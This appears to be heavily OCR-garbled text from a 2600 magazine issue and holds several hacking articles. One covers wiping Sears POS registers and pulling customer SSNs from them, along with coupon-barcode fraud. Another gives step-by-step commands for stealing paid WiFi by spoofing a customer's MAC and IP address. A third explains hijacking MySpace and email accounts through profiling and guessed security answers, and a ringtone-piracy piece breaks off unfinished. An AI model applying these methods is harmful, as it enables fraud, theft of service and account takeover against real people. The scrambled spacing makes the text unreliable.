defa u Lt i s  over the  netwo rk.  ALL registers in the 
front of the store a re networked to the  DeL L  server 
in the back, which stores custome r  i nfo rmati o n ,  
store stock, p rices, de Liveries ,  etc. The  back-of­
the-house server i s ,  of course, d ia Led i nto the 
Sea rs headqua rters i n  Ch icago  at a LL ti mes ,  to re­
ceive up-to-date p ri ce changes,  stock pLacement 
d iagrams ,  upcoming  p romotions ,  and who knows 
what else. Very i nteresti n g .  

J ust Li ke a ny othe r  computer, the  I BM  pas wi ll 
do  p retty m uch whatever you teLL it to do .  At 
Sears ,  coupon  ba rcodes a re a mazi n g Ly si mp Le to 
dup Li cate with a ny ba rcode generati n g  softwa re 
(I use Ba rcode Magic  3 . 1  myseLf) , a n d  a re j ust as 
easi Ly modified .  Any ba rcode end ing  with 
"%2 500" ,  etc. i s  of course the percentage  off. 
Ten ,  2 5 ,  a n d  even 65 percent off "discou nt" sign s  
a re usua lly posted every few paces a n d  a re very 
easi ly swiped ,  especia lly at sma ll sto res. ALso, 
every coup Le of m onths ,  stores h a nd  out $10 (o r  
so) gift ca rds to  the  fi rst h owever many cus­
tomers of the  day. A Lthough  these cards a re good 
fo r one day o n Ly, they ca n be used as  many as fif­
teen at a ti me  to pu rchase a nother  gift ca rd good 
fo r two years from the  date of pu rchase .  

POS End-of-Life 
When  the o Ld pas systems went out of com­

missi o n ,  a p rocedu re was  done  i n  which a LL data 
on  the registers was erased , ma ki n g  them useless 
to whoever p Lucked them out of the d u mpster. 
This p rocess was ca Lled " End-of- Life . "  WeLL, at my 
pa rticu La r  store, we had two registers that were 
supposed to be " ki lled . "  Bei n g  that I was doi n g  
the  ki lli n g ,  I decided t o  o n Ly m u rder  the  one  reg­
ister a n d  save the other. By s hee r  Luck, Sea rs de­
cided that it was the DeaLer Store owner's 
responsib i lity to dispose of the  o ld equi p ment. Of 
course, I took them both home .  The  register that 
had been " ki lLed" booted up  as  a ppa rently new, 
aski n g  fo r a confi gu ration  of h a rdwa re a n d  such . 
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This register I destroyed to m a ke use of the  mag  
stri p reader  a n d  the  barcode sca n ner. (I've si nce 
come to fi n d  out that the  Sym bo L  Tech no Logies 
LT-1018 sca n ner, a Lthough  it uses a COM inter­
face, i s  o n Ly a wand  em u Lator a n d  i s  useLess with 
a Pc. N o  d rivers o r  softwa re a re avai La b Le fo r 
down Load from the  Sym boL  site a n d  even Goog Le 
fi nds  n othi n g . )  The register that was sti l l  " a Live" 
attem pted to con nect to the Sea rs n etwork.  
That's a s  fa r as I 've gone with  it, actua LLy. It now 
sits i n  the  corner  coLLecti n g  d ust. 1 do p La n  on  
seL Li n g  it. 

A Lthough  1 never attem pted to do so ,  I know 
that it is possi b Le to crash  . . .  er . . .  " E nd-of- Life" 
the  new IBM  POS systems ,  too . To do so, one  
wouLd do  as  fo LLows : resta rt mach ine  as described 
above, p ressi n g  " D "  twice at the  "OPTIONS  AVAIL­
AB LE" screen .  At the  "360Comme rce POS UtiLity 
Menu , "  se Lect option  4, " Progra m Down Load . "  At 
the " POS Program Down Load Menu , "  p ress the  
"ALt" a n d  "N "  keys together. From the  Down Load 
Verifi cation  seLecti on ,  p ress the  " B "  key to seLect 
"both . "  When  prompted fo r the  fi le down Load ,  
type i n  "CUAEN D . D N L" (sa ns  the  quotes, c ap  Lock 
p roba b Ly doesn 't matter) a n d  p ress accept. The  
register wi l l  reboot a nd  th i s  is you r  point of no  
retu r n .  "Are you  ce rtai n you  want  to  p roceed with 
end of Life?" wi LL appear. If you p ress " 1 "  to 

accept, you wi ll see severa L screens s howi n g  you 
that fi les a re bei n g  de Leted and a m essage "This 
register has  been p rocessed fo r reti rement  -
power off" wi LL a ppear. 

Insecurities with the OS 
Whi Le a Lone  i n  the  store (1 did mention  that it 

i s  a sma ll sto re) , I h ave p Layed with the  keyboard ,  
tryi n g  different key combi n ations .  "CtrL" + "ALt" + 
"s" b ri ng s  you to the  supervi sor 's menu ,  whe re 
you can change  taxi n g  i nfo rmati o n ,  store Loca­
tio n ,  a n d  even the Sea rs teLephone  n um bers that 
a ppear  o n  recei pts . In this menu,  you a Lso have 
the a bi lity to perform a hex CMOS d ump  a n d  p ri n t  
"e Lectron ic  j ou r na ls , "  wh i ch  p ri n t  just  as recei pts 
do ,  a n d  disp Lay associate IDs ,  customer  i nfo rma­
tio n  (Sears ca rd n u m bers,  teLephone  n u m bers,  
add resses, and occasiona LLy SSNs) .  On  mo re than  
one  occasi o n ,  I have been toLd to j ust th row extra 
jou rna Ls in the tras h .  For the safety of custom ers 
a n d  of my i g norant boss, I a Lways bu rned them . 
Jou r n a ls may a Lso be p ri nted by p ressi ng  "ALt" + 
"J " ,  without req ui ri n g  a n  associate ID .  When  cus­
tomers use a Vi sa ,  MasterCa rd,  o r  Sea rs card, 
they a re req ui red to si g n  a speda L LittLe box with 
a styLus .  The  sig natu res a re saved as  bitmaps  a n d  
a re up Loaded t o  " h eadqua rters" d u ri n g  " e n d  day." 
The registers may be Locked o r  u n Locked with 
"ALt" + " F4" a nd  an associate ID .  

Shouts: Melissa, forever. & MichaeL Eistophe. 

Never Pay fot 

WiFi Again! 
by Ray Dios Haque 

rayhaque@gmail.com 
So how is it that a coffee s hop  that cha rges 

you $ 5  fo r a cup of "bean j ui ce"  can have the  ga LL 
to cha rge you a nother  $ 2 . 9 5  a n  hou r  to check 
you r  ema i L? How does a h oteL that gets $200+ 
do LLa rs per  n ight  justify a nother  $10 per  n ig ht fo r 
Wi Fi? Stea Li n g  Wi Fi may ma ke you a crim i n a l. But 
I th i n k  we a LL know who the  rea L crim i n a Ls a re 
h e re. S h ow corporate g reed a thi n g  or two a n d  
never p ay  fo r Wi Fi agai n .  

H e re's what you need :  
• A Wi Fi card and a n  OS that a LLows you to 

change the  MAC add ress (typicaL Ly Li n ux/UNIX) . 

• A hoteL that cha rges upwa rds of $200 a 
n ight  a n d  sti ll wants 10 bucks mo re fo r Wi Fi . 

• A customer  who is usi ng  the  Wi Fi servi ce 
now a nd  has  a Lready paid fo r it (this can be diffi­
cu Lt in h oteLs where guests a ren 't requi red to 
wea r s h i rts) . 

The idea h ere is to assume the  identity of a 
payi n g  customer. This is toughe r  than  it sounds .  
The  access po int  wi LL weLcom e  you to  the  n etwork 
by givi n g  you a n  add ress through DHCP. Now you 
ca n taLk to the  access point - and nobody eLse. 
For that matter, even taLki n g  to the  access point 
may be diffi cu Lt. If you try to pi ng  one of the  
other  users of the  network,  the  access po int  wi ll 
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restri ct you from gai n i n g  the  MAC add ress of that 
other  pa rty. It seems they a re ab le to stop you 
from getti ng  the  MAC add ress of anyone but the 
access point itself. If you were to fi re up  sniffi n g  
software (such as  Ethe rea l) you cou ld s e e  this i n  
a cti o n .  It's j ust clever reprogramming  o f  t h e  A R P  
p rotocol .  You a re aski n g  who  certai n pa rties a re 
o n  the  network  a n d  the  access poi nt is feedi n g  
you  bu lls hit a n swers . The p rob lem a t  h a nd  he re i s  
t hat  you need the  MAC  add ress of a potenti a l  vi c­
tim a n d  you wi ll n ot get that from the  Wi Fi access 
poi nt. 

H ere i s  a quick lesson o n  ARP (Add ress Reso­
luti o n  Protocol) if  you n eed it: Every network d e­
vice i n  the  world has  a MAC add ress a nd  it s h ou ld 
be un ique .  This h exadeci m a l  add ress is burnt  i nto 
your  ha rdwa re a n d  ca n n ot be " p hysica lly 
c hanged" without some fan cy e lectron ic  equip­
ment a nd  a fai r  b it  of e lectronic knowledge .  We 
rely on  the  MAC add ress to i dentify hosts o n  a 
n etwork .  For that matter, you a lso li kely a re usi n g  
TCPjIP, i n  which case y o u  h ave a n  IP  add ress. 
These o n ly have to be un ique  to you r  n etwo rk.  We 
use the MAC add ress as  a way of determ ini n g  that 
you a re a un ique  user to a n etwork a n d  we ca n 
a lso send packets ac ross the  netwo rk knowi n g  
o n ly you r  MAC add ress. O ne  key thi n g  t o  point 
out h ere i s  that you can n ot easi ly change you r  
M A C  add ress j ust as  y o u  ca n 't easi ly change  you r  
Soci a l  Secu rity N u m ber. B u t  y o u  ca n "fa ke" it a n d  
s e n d  li es t o  a network .  N ow, on  with t h e  fun .  

Fi rst, you m ust become  t h e  access point mo­
m enta ri ly. In doi n g  so ,  we wi ll pick up  detai ls 
that the  c lient thi n ks it's sendi n g  to the  a ccess 
poi nt. And for that matter, this i n formation  is go­
i n g  to the access point. It wi ll a lso be comi n g  to 
you .  At this poi nt, you m ust con nect to the  ac­
cess poi nt with you r  wi reless ca rd a n d  obtai n a n  
I P  add ress. 

To lea rn the  add ress that the  access point i s  
usi n g ,  go  i nto a termi n a l  a n d  run  ' n etstat - rn ' .  
You wi ll now be loo ki n g  at you r  routi n g  tab le .  In 
the  second  colu m n ,  bottom li ne ,  you wi ll fi n d  the 
add ress of the  access point. In  ou r  case,  it's 
1 9 2 . 168 . 1 . 1 .  A lso n ote the Ethernet i nterface 
n ame  over there on  the rig ht, 'eth 1 ' .  This i s  how 
we wi ll refer to  o u r  wi reless ca rd  to  confi gu re it. 

rayh aqu e :  # n e t s  t a t  rn 

Kern e l  IP ro u t i n g  t a b l e  

Des t i n a t i on Ga t eway Genma s k  

But n ot so fast. We a lso need the  MAC ad­
d ress of the  a ccess poi nt. Yo u s h o u ld h ave that 
beca use you h ave been "ta lki n g  to" the  access 
poi nt a n d  the MAC address has a lready been 
p laced i nto yo u r  "ARP ta b le . "  The ARP ta b le i s  a 
dynamic  li st ( so m eti m es stati c) that co ntai n s  a 
o n e  to one  m a p p i n g  of MAC add resses a n d  IP  
add resses. Let's h ave a loo k  at your  A R P  ta b le 
usi n g  ' a rp -a ' .  Yo u s h o u ld see someth i n g  li ke 
th is :  
rayh a qu e : - # arp - a  

accesspoi n t  (1 92 . 1 6 8 . 1 . 1 ) a t  

- 0 0 : 0 1 : 0 2 : A3 : B4 : C5 [ e t h e r ]  o n  e t h O  

Now to beco m e  the a ccess point  and stea l 
its identity, we wi ll: 

(a) S h ut down the wi reless ca rd ( m a ke s u re 
you do this  to avoid "IP  co nfli cts " ) .  

(b )  Confi g u re o u r  M A C  address t o  m atch the  
access po int  ( i f  you  get  a n  e r ro r  o n  t h i s  step ,  
read  toward the  end  of this  a rti c le ) .  

( c )  Confi g u re o u r  IP  a d d ress t o  m atch t h e  
a ccess poi nt. 

(d) Resta rt t h e  wi reless ca rd . 
H e re is what that a ll looks  li ke i n  a termi n a l  

wi n dow. 
i fconfig e t h 1  down 

i fconfig e t h 1 hw e t h e r  0 0 : 0 1 : 02 : A3 : B4 : C5 

i fconflg e t h 1 1 92 . 1 6 8 . 1 . 1 

i fconflg e t h 1  up 

Co n g ratu lati o n s !  Yo u are the  access poi nt. 
If t h e re a re othe r  payi n g  custo m e rs on t h i s  
n etwork ,  you  o u g ht to  be a b le to  p i ck  u p  a bit 
of traffi c fro m them by watchi n g  the packets 
passi n g  overhea d .  At this  poi nt, observati o n  is  
i m portant.  Try r u n n i n g  'tcpd u m p  -i eth 1 '  (as 
root) . Let a bit of traffic stro ll by. You s h o u ld 
be watch ing  for "www" traffic ,  "vpn " co n n ec­
ti ons ,  etc. Basi ca lly we a re loo ki n g  fo r an a c­
tive payi n g  custo m e r. O n ce you h ave fou n d  
one ,  y o u  ca n click  ' Ctrl+c' t o  stop tcpd u m p  a n d  
m ove on . 

Now we h ave a n  idea of who we want to be .  
Joe  Schmoe the  payi n g  Wi Fi custo mer. H e  has  
paid that $ 2 . 9 5  to $10  so you don 't h ave to.  
Remember  that when you a re dep leti n g  the 
ban dwi dth  to down load yo u r  favo rite m usic 

Fl a gs MSS Wi n dow i r t t  Iface 

1 92 . 1 6 8 . 1 . 0  0 . 0 . 0 . 0 255. 2 5 5 . 25 5 . 0 U 0 0 0 e t h l  

1 6 9. 2 54 . 0. 0  

1 27 . 0 . 0 . 0  

0 . 0 . 0 . 0  

0. 0. 0 . 0  

0 . 0 . 0 . 0 

* 1 92 . 1 6 8 . 1 . 1 *  

2 5 5 . 2 5 5 . 0 . 0 

25 5 . 0 . 0 . 0  

0 . 0 . 0 . 0 

U 0 0 0 e t h 1  

U 0 0 0 1 0  

UG 0 0 0 e t h l  
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a n d  pornography (be  nice ) .  To beco m e  this  
perso n ,  we wi ll  use the same tri ck  we did ea r­
lie r  to beco m e  the  access point .  

We s h o u ld be a b le to fi n d  the  MAC address 
of this person in our a rp ta b le si nce we h ave 
had  com m un icati o n  with t h e m .  Yo u can fi n d  
t h a t  b y  doi n g  a n  ' a r p  - a '  agai n .  I f  y o u  don 't 
h ave thei r  MAC address j ust yet, try pi n gi n g  
t h e m  a n d  do  the  'a rp - a '  o n ce m o re .  
rayh a qu e : - # arp - a  

accesspoi n t  (1 92 . 1 6 8 . 1 . 1 ) a t  

- 0 0 : 0 1 : 02 : A3 : B4 : CS [ e t h e r ]  on e t h 1  

c u s t 1  (1 9 2 . 1 6 8 . 1 . 1 0 S) a t  

- 0 0 : 0 1 : 0 2 : A3 : B4 : DS [ e t h e r ]  on e t h 1  

c u s t S  (1 92 . 1 6 8 . 1 . 1 1 0) a t  

- 0 0 : 0 1 : 02 : A3 : B4 : ES [ e th e r ]  o n  e t h 1  

Let's say that "cust1"  o r  " 1 9 2 . 168 . 1 . 105 "  i s  

o u r  p i ck ,  based  o n  o u r  tcpd u m p  s u rvey fro m 

ea rlie r. H ere is h ow we wi ll beco m e  "cust1 . "  
rayh aque : - # i fconfig e t h 1  downrayh a q u e : ­

- #  i fconfig e t h 1 h w  e t h er 

0 0 : 0 1  : 02 : A3 : B4 : D Srayh a qu e : - # i fconfig 

-eth 1 1 92 . 1 6 8 . 1 . 1 0 S rayh a qu e : - # 
i fconfig e t h 1  up 

Now wh at? S u rf the  web. Yo u h ave "beco m e  
the  custo m er. " Yo u m ay h ave some  issues ,  s o  
read o n  if th ings  don 't work a s  p la n ned .  

It's n o t  working, I have "no Internet ac­
cess. " Do you have a defa u lt route (gateway) 
confi g u red?  Yo u s h o u ld have received o n e  from 
the  access poi nt when it assi g n ed you a n  ad­
d ress .  B ut si n ce we sta rted confi g u ri n g  thi n g s  
b y  h a n d ,  w e  might  have screwed t h a t  u p .  To 
ch eck fo r the  existen ce of a gateway, do a ' n et­
stat - rn '  a n d  watch that seco n d  colu m n ,  last 
li n e .  If you need to add a defa u lt gateway, do 
either  ' ro ute add defa u lt 1 9 2 . 168 . 1 . 1 '  or ' route 
add  defa u lt gw 1 9 2 . 168 . 1 . 1 '  ( one  of those 
might  give you an error) . 

I still don 't have In ternet access! Do you 
have n a m e  servers confi g u red? Do a 'cat 
/etc/reso lv. conf' a n d  ch eck it o ut. If you h ave 
n othi n g  there,  type 'echo " n a m eserver 
1 9 2 . 168 . 1 . 1 "  > /etc/reso lv. co nf' a n d  try agai n .  

I can 't change my MA C address! I'm getting 
errors! Et tu ,  B rute? I was i n iti a lly tryi n g  to do  
a ll th is  usi n g  my i Book  runn ing  a s  X .  It  seems  
that A p p le rem oved the  a bi lity to change  the 
MAC a d d ress of Ai rport ca rds someti m e  back in  
a s  x J a g u a r. I fi g u red this  was a li mitati o n  of  
the  h a rdwa re. But I was a b le to get it worki n g .  
H ow? I went o u t  a n d  got U b u ntu Li n ux (fro m 
www. u b u ntu . co m ) .  They have a Mac  Power PC 
versi o n .  And  if you d o n 't want to i n sta ll it to 
you r  Mac ,  you ca n boot up thei r  PowerPC Live 

distri b uti o n .  Prob lem so lved .  If you ca n 't 
change  you r  MAC address,  you might  h ave 
been screwed over by your  a s .  Of cou rse,  your  
syntax cou ld be off a s  wel l .  Perhaps  try  'ifcon ­
fig eth 1  h w a d d r  0 0 : 0 1 : 0 2 : A3 : B4 : D 5 ' .  Sti l l  
doesn 't work? Try 'ifco nfig  eth 1  lla d d r  
00 :01 : 0 2 : A3 : B4 : D 5 ' .  Sti ll does n 't work? Fo r 
God ' s  sa ke, read the  m a n  page then  ( ' m a n  if­
confi g ' ) .  

W h a t  a re the  repercussi o n s? There a re a 
few. For one ,  yo u r  payi n g  friend  is p roba b ly 
sti l l  tryi n g  to use the  Wi Fi a ccess that they 
paid fo r (they were j ust a m om ent ago  which i s  
h ow you fo u n d  them ) .  Yo u a re usi n g  it too  . . .  
assumi n g  thei r  identity. S o  i magi n e  what the  
access poi nt m ust be thi n ki n g .  To the  a ccess 
poi nt, o n e  person i s  req u esti n g  a ll of the traf­
fic that is actua lly com i n g  fro m two different 
peop le .  It ha ppi ly a n swers each req uest. O n ce 
the  traffic com es back the  other  way, the  ac­
cess poi nt  sends  the  traffi c to that ' si n g le per­
son '  which  is actua lly the  two of yo u .  So that i s  
to  say, if I b ri n g  u p  Ya h o o . c o m ,  the  web  page  
co mes back to  both  of you .  Yo u r  victi m ' s  work­
stati o n  i s  p roba b ly co nfused by this, as  h e  did­
n 't req uest that site . If yo u r  victi m is  especia lly 
sawy, you m ay beco m e  h is victi m as he can see 
a ll of this  traffi c that o n ly you s h o u ld be see­
i n g .  If you wo u ld li ke to avoi d a ll th is  n o n ­
s e n s e ,  j ust wait a n  h o u r  o r  m o re unti l  th is  
person i s  done and then  use his  identity. I 
co nsider  this  " recycli n g  ban dwidt h . "  We recycle 
ca rd boa rd ,  a lu mi n u m ,  a uto mobi les,  etc. Why 
n ot Wi Fi co n n ecti o n s? 

Rea lize that we a re o n ly a b le to acco m p li s h  
t h i s  beca use o f  the  la ck o f  p hysica l co n n ec­
ti o n s .  If we were all p lugged i nto a switchi n g  
devi ce, it wou ld scream b loody m u rder  as  i t  
wo u ld s e e  two p hysica l co n n ections  with a si n ­
g le M A C  a d d ress bei n g  used . F o r  t h a t  m atter, 
a n  i ntelligent  Intrusi o n  Detection  System 
(IDS)  wo u ld li kely a lso catch o nto the cra p we 
a re p u lli n g  h ere. But si nce you a re hidi n g  i n  
t h e  co rner  o f  this  p u b li c  esta b li s h m ent, d ri n k­
i n g  yo u r  coffee, readi n g  yo u r  copy of 2600, 
a n d  otherwise seemi n g  co m p letely i n conspicu­
ous . . .  you s h o u ld be safe fro m auth ority 
fi g u res .  

I'd like to give shouts to rOt4ry_gl rl (you 're 
ha wt), morbie, herf, the Phrightener, and the 
rest of the defunct UPS crew (I'm including you 
Lucky225). I miss you nerds - why'd you all  
gro w  up ? 
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by Dexterousl 

H acki n g  MySpace usi n g  common  sense is a n  
a rti cle I decided t o  write after I found  out that a 
lot of my friends  a n d  fami ly mem bers a re o n  My­
Space.com to my d ismay. I t hought I wou ld write 
this a rti cle to h elp convi n ce people that a lthough  
MySpace.com may be fun fo r some ,  if you ' re n ot 
ca refu l with what you disp lay, you wi ll wi n d  up  
s hooti n g  yourself i n  the  foot. 

I don 't want to sound  para noi d ,  but one  rea­
son that you oug ht to be cautious  i s  that j ust li ke 
in the  o ld days of the Internet in chatrooms o n  
AOL, etc . ,  there c a n  be s ome  wei rdos out there, 
and if there i s  too much i nfo rmation  on  you avai l­
ab le,  they can work up a p rofi le on you a n d  try to 
coerce enough  i n formation  on you to try to make 
a p hysica l  vi sit. This cou ld be a pedoph i le or a 
disgruntled emp loyee or even a n  ex who hasn 't 
made  peace with thei r past. 

To me  MySpace.com is  a lot li ke AOL in the o ld 
days with the  " h ometown " websites, except with­
out chat admins ( r n g rs) . I j ust want people to be 
cautious  a nd  n ot go  i nto somethi n g  b li n d ly, 
especia lly on the  Internet. If the  loca l media is 
a lready ca rryi n g  segments on it, than  many un in ­
formed/i gno rant  people a re a lready misusi n g  the  
tech no logy. 

Anyway, to the hack .  There a re m u lti ple ways 
to hack  MySpace .com ,  name ly usi n g  creative 
cross site scripti n g ,  convi n ci n g  people to click  on  
thi ngs  that  they s hou ld n 't, a n d  (my favo rite) us­
i n g  common  sense. I wi ll cover the  com m o n  
sense part (which i s  usua lly t h e  ha rdest. b u t  wi ll 
yie ld the most i nfo rmati o n ) .  

Fi rst y o u  s hou ld choose a m a r k .  A m a r k  wi ll b e  
the  a ccount that y o u  wish  t o  take over. W e  wi ll 
use J o h n  Doe's a ccount as a mark .  Second ,  we 
wi ll n eed to set ou rselves up with a fake MySpace 
a ccount. Create a fa ke emai l  add ress that you 
have access to and create a fa ke p rofi le fo r this 
account.  Be creative, li ke, H a rry Stun ,  lives in 
Bosto n ,  MA,  born on  (ma ke h im i n  the  sa me  age 
ra nge  as  you r  ma rk) Ma rch  22,  1976 .  H i nt: If a 
m a le is you r  ma rk,  create a fema le a lias ,  a n d  vi ce 
versa fo r fema les. This wi ll usua lly work better on 
ma les a n d  may be of use later. 

conl nlorl SerlSe 
Now that you have created the  fa ke MySpace 

account. you wi ll be a b le to browse and search 
most of the  accounts on  MySpace that a re not 
locked fo r vi ewi n g .  If you r  mark  is n ot locked fo r 
viewi ng ,  than  you a re that m uch closer to the 
goal .  If  they a re ,  make damn su re that you r  fake 
MySpace account  i s  everythi n g  you r  mark would 
be loo ki n g  fo r i n  a fri end ,  hence usi ng  the  oppo­
site sex fo r bait. 

As a si de  n ote : If you j ust want to comp lete ly 
e lim i nate a person ' s  MySpace account, a little so­
cia l  engi n eeri n g  i s  i nvo lved . I wi ll n ot go  i nto this 
si nce it i s  covered here: http://www. howto 
"primers .com/myspacesafetyti ps/safetyTi p50 . sh  
.. tm l unde r  Ema i l  Request fo r Account De leti o n .  
J ust pose as  a n  i rate parent i r ritated by  you r  
ch i ld who has  been m a ki n g  a foo l  o f  themselves 
on  the Internet. 

Assumi n g ,  li ke most. that the ma rk 's account 
i s  n ot locked ,  then  you wi ll n eed to make n ote of  
everything that you see. You r  goa l  at this point i s  
to estab li s h  a p rofi le as  close as  you can from 
thei r  MySpace account  that a n swers the  fo llowi n g  
points: 

1 )  Check a ll the  messages that people leave 
fo r the person to fi g u re out when thei r  bi rthday 
i s .  

2 }  At the  top you wi ll see thei r  age  and where 
they currently resi de .  If you see someone  who 
left them a birthday message, you  ca n use basic 
math to fi n d  what when they were born (i . e . ,  if 
"Ma rk" i s  25 yea rs o ld a n d  "sweetnj uicy" wished 
h im a happy birthday o n  J u ne  2 ,  then  you know 
that he  was most li kely born (assu ming  it's 2006) 
i n  1981 ,  mo re specifi ca lly 06/02/1981 } .  

3 }  At t h e  top,  remember  that I mentioned 
where they cu rrently resi de? Well, Mark  resi des i n  
Ithaca ,  NY. Now wha t  we  need t o  do  i s  fi n d  out 
what zi p codes a re covered i n  Ithaca .  You can use 
a ny site you want, but fo r this exercise I wi ll use 
http ://www.zi pi nfo . com/sea rch/zi pcode . htm . I 
see that there a re five zi p codes to choose from :  
14850-14853  a n d  14882 .  

4} Now we  need  thei r  emai l add ress. What I do  
i s  a search on  Goog le sea rchi ng a ll of MySpace fo r 
the  person is questi o n .  You can do [site : my­
space.com +"Ma rk"]  or [jo h n  doe ma rk] o r  
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[ "ma rk" "myspace" J ,  etc. In th is  examp le he set 
up a MySpace Event fo r a podcast th ree months  
ago with h is  persona l  emai l of ma rk@foo 
-bar. co m .  Optiona lly, you ca n see if the  person 
has  ever posted i n  a ny fo rums  usi n g  thei r  rea l 
n ame  with emai l  add ress. 

5 )  So the  p rofi le we have o n  Mark is :  
a .  Born 06/02/1981 
b .  Lives i n  Ithaca ,  NY, with Zi ps 14850-14853 ,  

14882 
c. Ema i l  a dd ress that was probably used to 

sig n  up with myspace i s  ma rk@foobar.com 
6 )  The next i s  p robab ly the  h a rdest step .  Get 

the  o ld pen a n d  pad a n d  exa mi n e  i n  detai l every­
thi n g  that you see in the  MySpace account for 
J o h n  Doe .  What h e  does ,  where h e  goes ,  what h is  
favorite color i s ,  what h is  dog ' s  name is ,  what h i s  
favorite sports teams  a re ,  what his favorite 
movie (s )  a re ,  what song  he has p layi n g  on the  
web page ,  what h is  backg round  for h is web page 
i s ,  where h e  g rew up ,  where h e  spent most of his 
ti me ,  who  h is  g i r lfri end/boyfri end  i s ,  what h is  
MySpace fri ends  say about him .  Check everyth ing  
you ca n :  pics, vi deos,  b logs ,  everythi n g .  N eed less 
to say, this i s  n ot an exhaustive li st of what to 
loo k  fo r, but the  goa l  is to estab li s h  such a com­
p lete p rofi le about this person that you could 've 
known h im fo r yea rs. 

7 )  N ow comes the  very speci a l  pa rt. The regu­
la r ru les app ly:  Don 't do  th is ,  I 'm n ot he ld re­
sponsi b le fo r you r  stupidity, yada-yada .  From 
what I've seen ,  most people have o ne  of these 
emai l accounts: Aol ,  Ya hoo ,  H otmail ,  Gmai l .  You ' ll 
want to know what the  li mitati on s  a re fo r these 
a ccounts before they lock you out from guessi n g .  
This really i s n 't the  p lace fo r that a n d  if I have 
ti me  I ' l l  write an a rti cle coveri n g  the  usua lly un­
written secu rity pa rameters that  these  mai l  ser­
vices use when tryi n g  to " recover" a lost 
userna m e/passwo rd . Fo r ri ght  now we'll use "foo­
bar. com "  as  our ISP  in this exa mp le .  By the  way, 
you want to do this d u ri n g  a ti me  where you ' re 
confident  that the  mark  is n ot checki n g  thei r  
emai l. It i s  usua lly good t o  do  this d u ri n g  the  
ti me  that  you r  mark  i s  s leepi n g .  With that  out of  
the  way, let's sta rt the  b rute fo rci n g .  

8)  L o g  i nto foobar.com a n d  there s hou ld be a 
p la ce to sig n  i nto you r  emai l. We' l l  want to fi n d  
the  li n k  about " I  fo rgot my password . "  After th is ,  
someti mes you ' l l  be asked to p rovide  account in­
fo rmati on  and an swer you r  secret questi o n .  This 
i s  goi n g  to be our best bet to get this done. Go  
a h ead  a n d  choose that  selecti o n .  

9 )  This is where you ' ll m a ke i t  o r  b reak  it. If 
you h ave done  you r  h omework tho rough ly, you ' ll 
be ab le to an swer the  persona l  q uestion  cor­
rectly. 

a. They' l l  usua lly a sk  fo r: 
i .  You r  name .  
i i .  You r  zi p .  
iii . You r  emai l add ress .  
b .  The fi rst peri m eter of secu rity wi ll usua lly 

let you try over a nd  over aga in  to g uess the  cor­
rect a n swers (so you ca n use you r  zi p codes 
t h rough  p rocess of e lim i n atio n )  without locki n g  
y o u  out. After that fi rst peri m eter o f  secu rity, 
you ' ll be asked the  "Secret Questi on "  that you 've 
studied so h a rd fo r. In the second  peri m eter you 
wi ll o n ly have a certai n a m ount  of chances to get 
it ri g ht before the  account  is locked . 

10) Log i nto MySpace a n d  fi n d  the  spot where 
it says that you fo rgot you r  password. Fi l l  i n  the  
a ppropriate fields with the  ma rk 's emai l  add ress 
a n d  have the password sent to the mark 's ema i l  
a ccou nt. 

11) You now own the i r  ema i l  a n d  MySpace ac­
count a n d  ca n do as you wi ll. 

Flip Side of Things 
If you a re a victi m of MySpace/emai l  hijack­

i n g ,  p lease change  a ll of you r  passwords a n d  re­
stri ct vi ewi n g  of you r  p rofi le on MySpace.  At the  
least, don 't revea l  so much  a bout yourself to  
stra ngers on  the Inte rnet. 

Another  word of warni n g .  Logica lly speaki n g ,  
i f  you r  MySpace/emai l  a ccount was hijacked. it 
was probably by someone  you know. It may be 
best to contact the admin i strators of the  respec­
tive p lace and  explai n to them you r  situati o n .  If 
you sti ll don 't get a nywhe re with  that a n d  the  
person  i s  sti ll botheri n g  you ,  it would be wise to  
begi n to get  the  autho rities  i nvo lved . 

Shoutz: ia2600. 

We have a wide variety of 2600 clothing on our website - and with just a 
few mouse clicks all sorts of items can be sent hurtling in your direction. 
Whether it's shirts, sweatshirts, or hats, we've got something that will 
look good on you and show the world where your interests lie. 

http://store. 2 600.com 
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Ri n gton e 

Down �ad)Ff) 
by GurtDotCom 

In today's age ,  most people treat thei r cellu­
la r p hone  li ke the clothes they wea r. They change  
a lmost every customizab le featu re of the  device,  
from face p lates to wa llpapers .  The  most impo r­
tant featu re is the  ri n gtone .  Let's say that M r. 
ReclusiveShyGuy is walki n g  a round  Ba rnes & No­
b le loo ki ng  to pickup the  latest editi on  of 2600 
when  a ll of a sudden you hear  "Nasty Gi rl" by No­
torious  BIG ri ng i ng  out from his pocket. Th i s  ca n 
say a lot about his cha racter. A lot mo re than  he  
ever wi ll. My poi nt i s  t h a t  cell p hone  ri ngton es 
a re an extension  of you .  They say a lot about you .  
Imagi ne  a 3 0 0  p o u n d  bi ker d u d e  walki n g  down 
the  street and his p hone  sta rts p layi n g  "I Feel 
Pretty. "  It tells you somethi n g .  

With s u c h  a huge  va ri ety o f  ri ngtone  option s  
ra ng i ng  i n  types (po lyp honic ,  M P3 ,  etc . )  a n d  
gen res (country, r a p ,  etc . )  there i s  a huge ma rket 
on the  Internet fo r p u rchasi n g  these ri n gtones .  
Most services out there a llow you to di rectly shop 
fo r a n d  down load you r  favo rite song o nto you r  
p hone  without ever touchi ng  a computer. Oth er  
compa nies a llow you to s hop  o n li n e  a n d  pay for 
you r  tones a n d  they wi ll send the  ri ngtone  to 
you r  p hone  automatica lly. 

There is a flaw that is easy to exp loit. You can 
down load you r  favo rite ri n gtones that run  a ny­
where from 60 cents to five do lla rs fo r free.  I wi ll 
describe  one way of doi n g  this below. Please 
know that this i s  n ot ri ght  o r  legal .  

There a re many different ways of goi n g  about 
this .  Fi rst off, I use a PC to Phone  USB cab le that 
I pu rchased on  eBay to tra n sfer my hig h ly dis­
counted ri n gtone  to my phone .  You have othe r  
option s .  Most servi ce p rovi ders a llow you to  send  
m u ltimedia messages from a n  emai l account to 
you r  p hone  (i . e . ,  send  an emai l to 2 1 3555  
.. 4565@mms .myci n g u la r.com with the  ri ngtone  
as  a n  attachment ( 2 1 35 554565  bei n g  you r  cell 
n u m ber) ) .  Use the  method you li ke. 

Fi rst thi ngs  fi rst. Go  to a ri ngtone  site a n d  
loo k  fo r you r  favorite s o n g .  H ere a re a few sites 
that this works o n :  

h t tp : //64 . 2 02 . 1 1 4 . 1 4 1 /2 t on e z /en /uk/poly 
" r i n g t o n e s /i n d i e /2 
h t tp : //www . mon s t ertones . com/ 
h t tp : //www . po l yphon i c - r i n g t on e s - l ogos . 
" co .  uk/ 
h t tp : //www . mobi l er i n g t on e z . com/ 

Every site is different so the  methods you 
must use wi ll va ry. J ust keep the same i dea a n d  
